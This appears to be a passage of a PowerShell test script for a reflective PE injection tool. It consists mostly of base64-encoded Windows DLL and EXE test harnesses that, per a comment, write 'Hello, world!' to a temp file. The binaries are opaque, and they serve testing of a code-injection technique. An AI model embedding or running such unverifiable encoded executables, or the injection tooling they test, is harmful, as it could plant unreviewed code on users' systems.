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' + + # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt + $Encoded64BitExe = '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AAAAAEwmAAAAAAAAPCYAAAAAAACsJgAAAAAAAAAAAAAAAAAANiUAAAAAAABAJQAAAAAAAFYlAAAAAAAAaiUAAAAAAAB4JQAAAAAAAC4lAAAAAAAAnCUAAAAAAACoJQAAAAAAALIlAAAAAAAAviUAAAAAAADSJQAAAAAAAAQmAAAAAAAADCYAAAAAAAAWJgAAAAAAACQmAAAAAAAAMiYAAAAAAAAmJQAAAAAAABQlAAAAAAAABCUAAAAAAAD2JAAAAAAAAOgkAAAAAAAAhCUAAAAAAAAAAAAAAAAAAIgAQ3JlYXRlRmlsZUEAIgFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBADQFV3JpdGVGaWxlAEwCR2V0UHJvY0FkZHJlc3MAABsCR2V0TW9kdWxlSGFuZGxlQQAAUgBDbG9zZUhhbmRsZQBLRVJORUwzMi5kbGwAAFgBX1hjcHRGaWx0ZXIA8gFfYW1zZ19leGl0AACnAV9fZ2V0bWFpbmFyZ3MAzgFfX3NldF9hcHBfdHlwZQAAGAZleGl0AABYAl9leGl0AAoCX2NleGl0AAAaAl9jb25maWd0aHJlYWRsb2NhbGUA0AFfX3NldHVzZXJtYXRoZXJyAADiAl9pbml0dGVybV9lAOECX2luaXR0ZXJtAFwBX19DX3NwZWNpZmljX2hhbmRsZXIAAKgBX19pbml0ZW52AHgCX2Ztb2RlAAAZAl9jb21tb2RlAAAzAT90ZXJtaW5hdGVAQFlBWFhaAJkBX19jcnRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAE1TVkNSMTIwLmRsbAAAWwNfbG9jawDHBF91bmxvY2sACQJfY2FsbG9jX2NydACfAV9fZGxsb25leGl0AAIEX29uZXhpdADuAEVuY29kZVBvaW50ZXIAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAywFHZXRDdXJyZW50VGhyZWFkSWQAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAywBEZWNvZGVQb2ludGVyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+/////////wAAAAAyot8tmSsAAM1dINJm1P//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitExe = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADrbTR2rwxaJa8MWiWvDFol6V2HJa0MWiXpXYUlrgxaJelduiW8DFol6V27Ja0MWiWmdMklrAxaJa8MWyWGDFoljXW+Ja4MWiWNdYQlrgxaJVJpY2ivDFolAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAxLY+VgAAAAAAAAAA4AACAQsBDAAACgAAAAwAAAAAAAB/EwAAABAAAAAgAAAAAEAAABAAAAACAAAFAAEAAAAAAAUAAQAAAAAAAFAAAAAEAAAAAAAAAwBAgQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAzCEAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAZAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCEAAEAAAAAAAAAAAAAAAAAgAACsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABMCQAAABAAAAAKAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAnAUAAAAgAAAABgAAAA4AAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAIQDAAAAMAAAAAIAAAAUAAAAAAAAAAAAAAAAAABAAADALnJlbG9jAABkAQAAAEAAAAACAAAAFgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IHsEAEAAKHYIEAAiUX4ZqHcIEAAVmaJRfyg3iBAAGjgIEAAaOwgQACIRf7/FRAgQABQ/xUMIEAAi/CF9g+ExwAAAGgCAQAAjYXw/v//UI1F+FD/FQQgQACFwA+EqQAAAGj0IEAAjYXw/v//aAIBAABQ/9aDxAyFwA+FiwAAAFdQaIAAAABqAlBqB2gWARIAjYXw/v//UP8VACBAAIv4hf90X1OLHQggQABqAGoAag5oBCFAAFf/04tFCIP4AX46vgEAAACLRQyLFLCLwo1IAYlN9IoIQITJdfkrRfRqAGoAUFJX/9NqAGoAagFoFCFAAFf/00Y7dQh8y1f/FRQgQABbXzPAXovlXcO4AQAAAF6L5V3DuE1aAABmOQUAAEAAdAQzwOs0iw08AEAAgbkAAEAAUEUAAHXquAsBAABmOYEYAEAAddwzwIO5dABAAA52CTmB6ABAAA+VwGoBoygwQAD/FZQgQABZav//FTAgQACLDUwgQACjeDNAAKN8M0AAoUwwQACJAYsNUCBAAKFAMEAAiQHoLAUAAOhEAgAAgz0AMEAAAHUMaOQTQAD/FTwgQABZ6E0FAACDPRAwQAD/dQlq//8VVCBAAFkzwMNo5xZAAOjZBAAAoUgwQADHBCQ8MEAA/zVEMEAAozwwQABoNDBAAGgwMEAAaCwwQAD/FZggQACDxBSjODBAAIXAeQhqCOjGAQAAWcNqDGhwIUAA6BoFAAAz24ld/GShGAAAAItQBIv7vnAzQACLyjPA8A+xDoXAdAs7wnXwM/ZGi/7rAzP2Rjk1dDNAAHUKah/oegEAAFnrOjkddDNAAHUsiTV0M0AAaMggQABouCBAAOiqBAAAWVmFwHQXx0X8/v///7j/AAAA6d4AAACJNSAwQAA5NXQzQAB1G2i0IEAAaKwgQADofAQAAFlZxwV0M0AAAgAAAIX/dQkzwLlwM0AAhwGDPYAzQAAAdBlogDNAAOhcAQAAWYXAdApTagJT/xWAM0AAiw00MEAAoUggQACJCP81NDBAAP81MDBAAP81LDBAAOjp/P//g8QMoyQwQACDPSgwQAAAdTZQ/xWQIEAAi03siwGLAIlF5FFQ6JgAAABZWcOLZeiLReSjJDBAAIM9KDBAAAB1B1D/FYwgQACDPSAwQAAAdQv/FYggQAChJDBAAMdF/P7////oBwQAAMPorQEAAOmR/v//VYvsi0UIiwCBOGNzbeB1JYN4EAN1H4tAFD0gBZMZdBs9IQWTGXQUPSIFkxl0DT0AQJkBdAYzwF3CBADo8wMAAMxoiRNAAOjuAwAAWTPAw/8loCBAAP8lnCBAADPAw8zMzMzMzMzMzFWL7ItFCDPSU1ZXi0g8A8gPt0EUD7dZBoPAGAPBhdt0G4t9DItwDDv+cgmLSAgDzjv5cgpCg8AoO9Ny6DPAX15bXcPMzMzMzMzMzMzMzMzMVYvsav5okCFAAGiZF0AAZKEAAAAAUIPsCFNWV6EYMEAAMUX4M8VQjUXwZKMAAAAAiWXox0X8AAAAAGgAAEAA6HwAAACDxASFwHRUi0UILQAAQABQaAAAQADoUv///4PECIXAdDqLQCTB6B/30IPgAcdF/P7///+LTfBkiQ0AAAAAWV9eW4vlXcOLReyLADPJgTgFAADAD5TBi8HDi2Xox0X8/v///zPAi03wZIkNAAAAAFlfXluL5V3DzMzMzMzMVYvsi0UIuU1aAABmOQh0BDPAXcOLSDwDyDPAgTlQRQAAdQy6CwEAAGY5URgPlMBdw1WL7IPsFINl9ACDZfgAoRgwQABWV79O5kC7vgAA//87x3QNhcZ0CffQoxwwQADrZo1F9FD/FSAgQACLRfgzRfSJRfz/FSQgQAAxRfz/FSggQAAx